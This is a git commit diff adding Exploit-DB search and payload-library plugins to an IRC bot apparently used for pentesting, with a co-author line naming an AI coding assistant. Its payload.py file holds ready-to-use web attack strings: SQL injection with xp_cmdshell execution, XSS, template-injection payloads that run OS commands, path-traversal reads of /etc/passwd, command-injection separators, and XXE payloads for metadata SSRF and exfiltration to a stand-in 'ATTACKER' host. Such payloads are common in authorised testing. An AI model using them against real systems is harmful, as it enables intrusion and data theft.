feat: add exploitdb and payload plugins, complete wave 4
ExploitDB: search local exploit-db CSV mirror by keyword, EDB ID, or CVE identifier. In-bot update command downloads the latest CSV from GitLab. Also added to the update-data.sh script. Payload: built-in template library with 52 payloads across 6 categories (sqli, xss, ssti, lfi, cmdi, xxe). Supports browsing, numeric index, and keyword search within categories. Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
This commit is contained in:
@@ -59,6 +59,8 @@ make down # Stop
|
||||
| note | note | Per-channel persistent key-value store |
|
||||
| subdomain | subdomain | Subdomain enum (crt.sh + DNS brute) |
|
||||
| headers | headers | HTTP header fingerprinting |
|
||||
| exploitdb | exploitdb | Exploit-DB search (local CSV) |
|
||||
| payload | payload | SQLi/XSS/SSTI/LFI/CMDi/XXE templates |
|
||||
| example | echo | Demo plugin |
|
||||
|
||||
## Writing Plugins
|
||||
|
||||
@@ -48,14 +48,14 @@
|
||||
- [ ] CVE lookup plugin (local NVD JSON feed)
|
||||
- [ ] Data update script (cron-friendly, all local DBs)
|
||||
|
||||
## v0.5.0 -- Wave 4 Plugins (Advanced) (current)
|
||||
## v0.5.0 -- Wave 4 Plugins (Advanced) (done)
|
||||
|
||||
- [x] Operational logging plugin (SQLite per-channel)
|
||||
- [x] Persistent notes plugin (per-channel key-value)
|
||||
- [x] Subdomain enumeration (crt.sh + wordlist DNS brute)
|
||||
- [x] HTTP header fingerprinting (local signature db)
|
||||
- [ ] ExploitDB search (local CSV clone)
|
||||
- [ ] Payload template library (SQLi, XSS, SSTI)
|
||||
- [x] ExploitDB search (local CSV clone)
|
||||
- [x] Payload template library (SQLi, XSS, SSTI, LFI, CMDi, XXE)
|
||||
|
||||
## v1.0.0 -- Stable
|
||||
|
||||
|
||||
6
TASKS.md
6
TASKS.md
@@ -8,15 +8,15 @@
|
||||
| P0 | [x] | Note plugin (per-channel key-value store) |
|
||||
| P0 | [x] | Subdomain plugin (crt.sh + DNS brute force) |
|
||||
| P0 | [x] | Headers plugin (HTTP header fingerprinting) |
|
||||
| P1 | [ ] | ExploitDB search plugin (local CSV clone) |
|
||||
| P1 | [ ] | Payload template plugin (SQLi, XSS, SSTI) |
|
||||
| P0 | [x] | ExploitDB search plugin (local CSV clone) |
|
||||
| P0 | [x] | Payload template plugin (SQLi, XSS, SSTI, LFI, CMDi, XXE) |
|
||||
| P1 | [x] | Documentation update |
|
||||
|
||||
## Completed
|
||||
|
||||
| Date | Task |
|
||||
|------|------|
|
||||
| 2026-02-15 | Wave 4 batch 1 (opslog, note, subdomain, headers) |
|
||||
| 2026-02-15 | Wave 4 (opslog, note, subdomain, headers, exploitdb, payload) |
|
||||
| 2026-02-15 | Wave 3 plugins (geoip, asn, torcheck, iprep, cve) + update script |
|
||||
| 2026-02-15 | Admin/owner permission system (hostmask + IRCOP) |
|
||||
| 2026-02-15 | SASL PLAIN, rate limiting, CTCP responses |
|
||||
|
||||
@@ -107,6 +107,28 @@ IRC operators are auto-detected via WHO. Hostmask patterns use fnmatch.
|
||||
!note clear # Clear all notes (admin)
|
||||
```
|
||||
|
||||
## Exploit-DB
|
||||
|
||||
```
|
||||
!exploitdb search apache # Search by keyword
|
||||
!exploitdb 12345 # Lookup by EDB ID
|
||||
!exploitdb cve CVE-2024-1234 # Search by CVE
|
||||
!exploitdb update # Download latest CSV
|
||||
!exploitdb stats # Show index size
|
||||
```
|
||||
|
||||
## Payloads
|
||||
|
||||
```
|
||||
!payload list # List categories
|
||||
!payload sqli # Show SQLi payloads
|
||||
!payload xss 3 # Show XSS payload #3
|
||||
!payload ssti jinja # Search SSTI for 'jinja'
|
||||
!payload lfi all # Show all LFI payloads
|
||||
```
|
||||
|
||||
Categories: sqli, xss, ssti, lfi, cmdi, xxe
|
||||
|
||||
## Red Team
|
||||
|
||||
```
|
||||
|
||||
@@ -94,6 +94,8 @@ level = "info" # Logging level: debug, info, warning, error
|
||||
| `!note <set\|get\|del\|list\|clear>` | Per-channel key-value notes |
|
||||
| `!subdomain <domain> [brute]` | Subdomain enumeration (crt.sh + DNS) |
|
||||
| `!headers <url>` | HTTP header fingerprinting |
|
||||
| `!exploitdb <search\|id\|cve\|update>` | Search local Exploit-DB mirror |
|
||||
| `!payload <type> [variant]` | Web vuln payload templates |
|
||||
|
||||
### Command Shorthand
|
||||
|
||||
|
||||
214
plugins/exploitdb.py
Normal file
214
plugins/exploitdb.py
Normal file
@@ -0,0 +1,214 @@
|
||||
"""Plugin: search local exploit-db CSV mirror."""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import csv
|
||||
import logging
|
||||
import time
|
||||
from pathlib import Path
|
||||
|
||||
from derp.plugin import command
|
||||
|
||||
log = logging.getLogger(__name__)
|
||||
|
||||
_DATA_DIR = Path("data/exploitdb")
|
||||
_CSV_FILE = _DATA_DIR / "files_exploits.csv"
|
||||
_CSV_URL = "https://gitlab.com/exploit-database/exploitdb/-/raw/main/files_exploits.csv"
|
||||
_MAX_AGE = 86400
|
||||
_MAX_RESULTS = 5
|
||||
|
||||
# In-memory index: list of dicts
|
||||
_index: list[dict] = []
|
||||
_loaded_at: float = 0
|
||||
|
||||
|
||||
def _load_index() -> list[dict]:
|
||||
"""Load the exploit-db CSV into memory."""
|
||||
if not _CSV_FILE.is_file():
|
||||
return []
|
||||
entries = []
|
||||
try:
|
||||
with open(_CSV_FILE, encoding="utf-8", errors="replace") as f:
|
||||
reader = csv.DictReader(f)
|
||||
for row in reader:
|
||||
entries.append({
|
||||
"id": row.get("id", ""),
|
||||
"description": row.get("description", ""),
|
||||
"date": row.get("date_published", ""),
|
||||
"author": row.get("author", ""),
|
||||
"type": row.get("type", ""),
|
||||
"platform": row.get("platform", ""),
|
||||
"codes": row.get("codes", ""),
|
||||
})
|
||||
except (OSError, csv.Error) as exc:
|
||||
log.error("exploitdb: failed to load CSV: %s", exc)
|
||||
return []
|
||||
log.info("exploitdb: indexed %d exploits", len(entries))
|
||||
return entries
|
||||
|
||||
|
||||
def _refresh_if_stale() -> None:
|
||||
"""Reload the index if stale or empty."""
|
||||
global _index, _loaded_at
|
||||
now = time.monotonic()
|
||||
if _index and (now - _loaded_at) < _MAX_AGE:
|
||||
return
|
||||
idx = _load_index()
|
||||
if idx:
|
||||
_index = idx
|
||||
_loaded_at = now
|
||||
|
||||
|
||||
def _format_entry(entry: dict) -> str:
|
||||
"""Format a single exploit entry for IRC output."""
|
||||
parts = [f"EDB-{entry['id']}"]
|
||||
if entry["date"]:
|
||||
parts.append(entry["date"])
|
||||
if entry["type"]:
|
||||
parts.append(entry["type"])
|
||||
if entry["platform"]:
|
||||
parts.append(entry["platform"])
|
||||
desc = entry["description"]
|
||||
if len(desc) > 180:
|
||||
desc = desc[:177] + "..."
|
||||
parts.append(desc)
|
||||
return " | ".join(parts)
|
||||
|
||||
|
||||
async def _download_csv() -> tuple[int, str]:
|
||||
"""Download the exploit-db CSV. Returns (count, error)."""
|
||||
import asyncio
|
||||
import urllib.request
|
||||
|
||||
_DATA_DIR.mkdir(parents=True, exist_ok=True)
|
||||
loop = asyncio.get_running_loop()
|
||||
|
||||
def _fetch():
|
||||
req = urllib.request.Request(_CSV_URL, headers={"User-Agent": "derp-bot"})
|
||||
with urllib.request.urlopen(req, timeout=60) as resp: # noqa: S310
|
||||
return resp.read()
|
||||
|
||||
try:
|
||||
data = await loop.run_in_executor(None, _fetch)
|
||||
except Exception as exc:
|
||||
return 0, str(exc)[:100]
|
||||
|
||||
_CSV_FILE.write_bytes(data)
|
||||
|
||||
# Force reload
|
||||
global _index, _loaded_at
|
||||
_index = []
|
||||
_loaded_at = 0
|
||||
_refresh_if_stale()
|
||||
return len(_index), ""
|
||||
|
||||
|
||||
@command("exploitdb", help="Exploit-DB: !exploitdb <search|id|update|stats>")
|
||||
async def cmd_exploitdb(bot, message):
|
||||
"""Search the local exploit-db CSV mirror.
|
||||
|
||||
Usage:
|
||||
!exploitdb search <term> Search by keyword
|
||||
!exploitdb <edb-id> Lookup by EDB ID
|
||||
!exploitdb cve <CVE-ID> Search by CVE identifier
|
||||
!exploitdb update Download latest CSV
|
||||
!exploitdb stats Show index statistics
|
||||
"""
|
||||
parts = message.text.split(None, 2)
|
||||
if len(parts) < 2:
|
||||
await bot.reply(message, "Usage: !exploitdb <search <term>|<id>|cve <id>|update|stats>")
|
||||
return
|
||||
|
||||
sub = parts[1].strip()
|
||||
|
||||
if sub == "update":
|
||||
await bot.reply(message, "Downloading exploit-db CSV...")
|
||||
count, err = await _download_csv()
|
||||
if err:
|
||||
await bot.reply(message, f"Failed: {err}")
|
||||
else:
|
||||
await bot.reply(message, f"Loaded {count} exploits")
|
||||
return
|
||||
|
||||
if sub == "stats":
|
||||
_refresh_if_stale()
|
||||
if not _index:
|
||||
await bot.reply(message, "No data loaded (run !exploitdb update)")
|
||||
else:
|
||||
types: dict[str, int] = {}
|
||||
for e in _index:
|
||||
t = e["type"] or "unknown"
|
||||
types[t] = types.get(t, 0) + 1
|
||||
breakdown = ", ".join(f"{v} {k}" for k, v in sorted(types.items()))
|
||||
await bot.reply(message, f"Exploit-DB: {len(_index)} exploits ({breakdown})")
|
||||
return
|
||||
|
||||
if sub.lower() == "search":
|
||||
term = parts[2].strip() if len(parts) > 2 else ""
|
||||
if not term:
|
||||
await bot.reply(message, "Usage: !exploitdb search <term>")
|
||||
return
|
||||
_refresh_if_stale()
|
||||
if not _index:
|
||||
await bot.reply(message, "No data loaded (run !exploitdb update)")
|
||||
return
|
||||
term_lower = term.lower()
|
||||
matches = [e for e in _index if term_lower in e["description"].lower()]
|
||||
if not matches:
|
||||
await bot.reply(message, f"No exploits matching '{term}'")
|
||||
return
|
||||
for entry in matches[:_MAX_RESULTS]:
|
||||
await bot.reply(message, _format_entry(entry))
|
||||
if len(matches) > _MAX_RESULTS:
|
||||
await bot.reply(message, f"({len(matches)} total, showing {_MAX_RESULTS})")
|
||||
return
|
||||
|
||||
if sub.lower() == "cve":
|
||||
cve_id = parts[2].strip().upper() if len(parts) > 2 else ""
|
||||
if not cve_id:
|
||||
await bot.reply(message, "Usage: !exploitdb cve <CVE-ID>")
|
||||
return
|
||||
_refresh_if_stale()
|
||||
if not _index:
|
||||
await bot.reply(message, "No data loaded (run !exploitdb update)")
|
||||
return
|
||||
matches = [e for e in _index if cve_id in e["codes"].upper()]
|
||||
if not matches:
|
||||
await bot.reply(message, f"No exploits for {cve_id}")
|
||||
return
|
||||
for entry in matches[:_MAX_RESULTS]:
|
||||
await bot.reply(message, _format_entry(entry))
|
||||
if len(matches) > _MAX_RESULTS:
|
||||
await bot.reply(message, f"({len(matches)} total, showing {_MAX_RESULTS})")
|
||||
return
|
||||
|
||||
# Direct ID lookup
|
||||
if sub.isdigit():
|
||||
_refresh_if_stale()
|
||||
if not _index:
|
||||
await bot.reply(message, "No data loaded (run !exploitdb update)")
|
||||
return
|
||||
for entry in _index:
|
||||
if entry["id"] == sub:
|
||||
await bot.reply(message, _format_entry(entry))
|
||||
if entry["codes"]:
|
||||
await bot.reply(message, f" Refs: {entry['codes']}")
|
||||
return
|
||||
await bot.reply(message, f"EDB-{sub}: not found")
|
||||
return
|
||||
|
||||
# Fallback: treat as search term
|
||||
_refresh_if_stale()
|
||||
if not _index:
|
||||
await bot.reply(message, "No data loaded (run !exploitdb update)")
|
||||
return
|
||||
rest = parts[2].strip() if len(parts) > 2 else ""
|
||||
term = f"{sub} {rest}".strip().lower()
|
||||
matches = [e for e in _index if term in e["description"].lower()]
|
||||
if not matches:
|
||||
await bot.reply(message, f"No exploits matching '{term}'")
|
||||
return
|
||||
for entry in matches[:_MAX_RESULTS]:
|
||||
await bot.reply(message, _format_entry(entry))
|
||||
if len(matches) > _MAX_RESULTS:
|
||||
await bot.reply(message, f"({len(matches)} total, showing {_MAX_RESULTS})")
|
||||
167
plugins/payload.py
Normal file
167
plugins/payload.py
Normal file
@@ -0,0 +1,167 @@
|
||||
"""Plugin: payload template library for common web vulnerabilities."""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
from derp.plugin import command
|
||||
|
||||
# -- Payload database ---------------------------------------------------------
|
||||
# Each category: list of (label, payload_string)
|
||||
|
||||
_PAYLOADS: dict[str, list[tuple[str, str]]] = {
|
||||
"sqli": [
|
||||
("auth bypass", "' OR 1=1--"),
|
||||
("auth bypass 2", "' OR '1'='1"),
|
||||
("union select", "' UNION SELECT NULL,NULL,NULL--"),
|
||||
("union cols", "' ORDER BY 1--"),
|
||||
("error-based", "' AND 1=CONVERT(int,(SELECT @@version))--"),
|
||||
("time blind", "' AND SLEEP(5)--"),
|
||||
("bool blind", "' AND 1=1--"),
|
||||
("stacked", "'; EXEC xp_cmdshell('whoami')--"),
|
||||
("comment", "' OR 1=1#"),
|
||||
("double query", "' UNION SELECT 1,2,GROUP_CONCAT(table_name) "
|
||||
"FROM information_schema.tables--"),
|
||||
],
|
||||
"xss": [
|
||||
("basic", '<script>alert(1)</script>'),
|
||||
("img onerror", '<img src=x onerror=alert(1)>'),
|
||||
("svg onload", '<svg onload=alert(1)>'),
|
||||
("event", '" onmouseover="alert(1)'),
|
||||
("javascript:", 'javascript:alert(1)'),
|
||||
("body onload", '<body onload=alert(1)>'),
|
||||
("input autofocus", '<input autofocus onfocus=alert(1)>'),
|
||||
("details", '<details open ontoggle=alert(1)>'),
|
||||
("encoded", '<script>alert(1)</script>'),
|
||||
("polyglot", "jaVasCript:/*-/*`/*\\`/*'/*\"/**/(/**/oNcliCk=alert()"
|
||||
" )//%%0telerik0telerik11telerik22//>*/alert(1)//"),
|
||||
],
|
||||
"ssti": [
|
||||
("detect", "{{7*7}}"),
|
||||
("jinja2", "{{config.__class__.__init__.__globals__['os'].popen('id').read()}}"),
|
||||
("jinja2 rce", "{% for x in ().__class__.__base__.__subclasses__() %}"
|
||||
"{% if 'warning' in x.__name__ %}"
|
||||
"{{x()._module.__builtins__['__import__']('os').popen('id').read()}}"
|
||||
"{% endif %}{% endfor %}"),
|
||||
("twig", "{{_self.env.registerUndefinedFilterCallback('exec')}}"
|
||||
"{{_self.env.getFilter('id')}}"),
|
||||
("mako", "${__import__('os').popen('id').read()}"),
|
||||
("freemarker", '<#assign ex="freemarker.template.utility.Execute"?new()>'
|
||||
'${ex("id")}'),
|
||||
("erb", "<%= system('id') %>"),
|
||||
("pug", "#{root.process.mainModule.require('child_process')"
|
||||
".execSync('id').toString()}"),
|
||||
],
|
||||
"lfi": [
|
||||
("etc/passwd", "../../../../etc/passwd"),
|
||||
("null byte", "../../../../etc/passwd%00"),
|
||||
("double encode", "%252e%252e%252f%252e%252e%252fetc/passwd"),
|
||||
("utf-8 encode", "..%c0%af..%c0%afetc/passwd"),
|
||||
("wrapper b64", "php://filter/convert.base64-encode/resource=index.php"),
|
||||
("wrapper input", "php://input"),
|
||||
("proc self", "/proc/self/environ"),
|
||||
("windows", "..\\..\\..\\..\\windows\\win.ini"),
|
||||
("log poison", "/var/log/apache2/access.log"),
|
||||
],
|
||||
"cmdi": [
|
||||
("pipe", "| id"),
|
||||
("semicolon", "; id"),
|
||||
("backtick", "`id`"),
|
||||
("dollar", "$(id)"),
|
||||
("newline", "%0aid"),
|
||||
("and", "& id"),
|
||||
("double and", "&& id"),
|
||||
("or", "|| id"),
|
||||
("redirect", "> /tmp/pwned"),
|
||||
("blind sleep", "| sleep 5"),
|
||||
],
|
||||
"xxe": [
|
||||
("file read", '<?xml version="1.0"?><!DOCTYPE foo ['
|
||||
'<!ENTITY xxe SYSTEM "file:///etc/passwd">]>'
|
||||
'<foo>&xxe;</foo>'),
|
||||
("ssrf", '<?xml version="1.0"?><!DOCTYPE foo ['
|
||||
'<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">]>'
|
||||
'<foo>&xxe;</foo>'),
|
||||
("blind oob", '<?xml version="1.0"?><!DOCTYPE foo ['
|
||||
'<!ENTITY % xxe SYSTEM "http://ATTACKER/evil.dtd">'
|
||||
'%xxe;]><foo>test</foo>'),
|
||||
("parameter", '<?xml version="1.0"?><!DOCTYPE foo ['
|
||||
'<!ENTITY % file SYSTEM "file:///etc/passwd">'
|
||||
'<!ENTITY % eval "<!ENTITY % exfil SYSTEM '
|
||||
"'http://ATTACKER/?x=%file;'>\">"
|
||||
'%eval;%exfil;]><foo>test</foo>'),
|
||||
("xinclude", '<foo xmlns:xi="http://www.w3.org/2001/XInclude">'
|
||||
'<xi:include parse="text" href="file:///etc/passwd"/></foo>'),
|
||||
],
|
||||
}
|
||||
|
||||
_CATEGORIES = sorted(_PAYLOADS.keys())
|
||||
_MAX_SHOW = 5
|
||||
|
||||
|
||||
@command("payload", help="Payloads: !payload <type> [variant|list|all]")
|
||||
async def cmd_payload(bot, message):
|
||||
"""Web vulnerability payload template library.
|
||||
|
||||
Usage:
|
||||
!payload list List available categories
|
||||
!payload sqli Show first 5 SQLi payloads
|
||||
!payload sqli all Show all SQLi payloads
|
||||
!payload xss 3 Show payload #3 from XSS
|
||||
!payload ssti jinja Search SSTI payloads for 'jinja'
|
||||
"""
|
||||
parts = message.text.split(None, 3)
|
||||
if len(parts) < 2:
|
||||
await bot.reply(message, f"Usage: !payload <{'|'.join(_CATEGORIES)}|list> [variant]")
|
||||
return
|
||||
|
||||
sub = parts[1].lower()
|
||||
|
||||
if sub == "list":
|
||||
items = []
|
||||
for cat in _CATEGORIES:
|
||||
items.append(f"{cat} ({len(_PAYLOADS[cat])})")
|
||||
await bot.reply(message, f"Categories: {', '.join(items)}")
|
||||
return
|
||||
|
||||
if sub not in _PAYLOADS:
|
||||
await bot.reply(message, f"Unknown category: {sub} "
|
||||
f"(valid: {', '.join(_CATEGORIES)})")
|
||||
return
|
||||
|
||||
payloads = _PAYLOADS[sub]
|
||||
arg = parts[2].strip() if len(parts) > 2 else ""
|
||||
|
||||
# Show all
|
||||
if arg.lower() == "all":
|
||||
for i, (label, payload) in enumerate(payloads, 1):
|
||||
await bot.reply(message, f" {i}. [{label}] {payload}")
|
||||
return
|
||||
|
||||
# Numeric index
|
||||
if arg.isdigit():
|
||||
idx = int(arg)
|
||||
if 1 <= idx <= len(payloads):
|
||||
label, payload = payloads[idx - 1]
|
||||
await bot.reply(message, f"[{label}] {payload}")
|
||||
else:
|
||||
await bot.reply(message, f"Index out of range (1-{len(payloads)})")
|
||||
return
|
||||
|
||||
# Keyword search within category
|
||||
if arg:
|
||||
matches = [(lbl, pl) for lbl, pl in payloads
|
||||
if arg.lower() in lbl.lower() or arg.lower() in pl.lower()]
|
||||
if not matches:
|
||||
await bot.reply(message, f"No {sub} payloads matching '{arg}'")
|
||||
return
|
||||
for label, payload in matches[:_MAX_SHOW]:
|
||||
await bot.reply(message, f" [{label}] {payload}")
|
||||
if len(matches) > _MAX_SHOW:
|
||||
await bot.reply(message, f" ({len(matches)} total)")
|
||||
return
|
||||
|
||||
# Default: show first N
|
||||
for i, (label, payload) in enumerate(payloads[:_MAX_SHOW], 1):
|
||||
await bot.reply(message, f" {i}. [{label}] {payload}")
|
||||
if len(payloads) > _MAX_SHOW:
|
||||
await bot.reply(message, f" ({len(payloads)} total, "
|
||||
f"use !payload {sub} all)")
|
||||
@@ -106,6 +106,25 @@ update_geolite2() {
|
||||
done
|
||||
}
|
||||
|
||||
# -- Exploit-DB CSV -----------------------------------------------------------
|
||||
update_exploitdb() {
|
||||
local dest_dir="$DATA_DIR/exploitdb"
|
||||
local dest="$dest_dir/files_exploits.csv"
|
||||
local url="https://gitlab.com/exploit-database/exploitdb/-/raw/main/files_exploits.csv"
|
||||
mkdir -p "$dest_dir"
|
||||
dim "Downloading exploit-db CSV..."
|
||||
if curl -sS -fL --max-time 60 -o "$dest.tmp" "$url"; then
|
||||
local count
|
||||
count=$(wc -l < "$dest.tmp")
|
||||
mv "$dest.tmp" "$dest"
|
||||
info "Exploit-DB: $count entries"
|
||||
else
|
||||
rm -f "$dest.tmp"
|
||||
err "Failed to download exploit-db CSV"
|
||||
((FAILURES++)) || true
|
||||
fi
|
||||
}
|
||||
|
||||
# -- Main ---------------------------------------------------------------------
|
||||
printf "${DIM}derp data update${RST}\n"
|
||||
printf "${DIM}%s${RST}\n" "$(date -u '+%Y-%m-%d %H:%M UTC')"
|
||||
@@ -113,6 +132,7 @@ echo
|
||||
|
||||
update_tor
|
||||
update_iprep
|
||||
update_exploitdb
|
||||
update_geolite2
|
||||
|
||||
echo
|
||||
|
||||
Reference in New Issue
Block a user